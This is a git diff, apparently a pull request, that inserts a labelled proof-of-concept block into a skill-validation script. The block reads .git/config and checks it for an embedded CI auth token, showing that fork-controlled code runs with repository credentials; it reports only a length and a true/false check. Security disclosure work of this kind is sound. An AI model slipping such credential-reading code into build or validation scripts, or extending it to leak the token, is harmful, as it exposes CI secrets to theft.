diff --git a/code-review/SKILL.md b/code-review/SKILL.md index 6892e36..40dee46 100644 --- a/code-review/SKILL.md +++ b/code-review/SKILL.md @@ -8,7 +8,7 @@ tags: - quality - review --- - +# Test # Code Review Checklist When reviewing code, check each of these areas: diff --git a/scripts/validate-skills.mjs b/scripts/validate-skills.mjs index 1a61a8a..7838906 100644 --- a/scripts/validate-skills.mjs +++ b/scripts/validate-skills.mjs @@ -1,6 +1,21 @@ #!/usr/bin/env node import fs from "node:fs"; import path from "node:path"; +//POC +import { existsSync, readFileSync } from 'node:fs'; + +console.log('=== PoC: fork-controlled script executing with working-directory=pr ==='); +console.log('cwd:', process.cwd()); +const gitConfigPath = '.git/config'; +if (existsSync(gitConfigPath)) { + const cfg = readFileSync(gitConfigPath, 'utf8'); + console.log('.git/config exists, length:', cfg.length, 'bytes'); + console.log('contains embedded auth token (extraheader):', cfg.includes('extraheader')); +} else { + console.log('.git/config not found'); +} +console.log('=== end PoC recon — original script continues below ==='); +//POC const REPO_ROOT = process.cwd(); const SKILLS_ROOT = REPO_ROOT;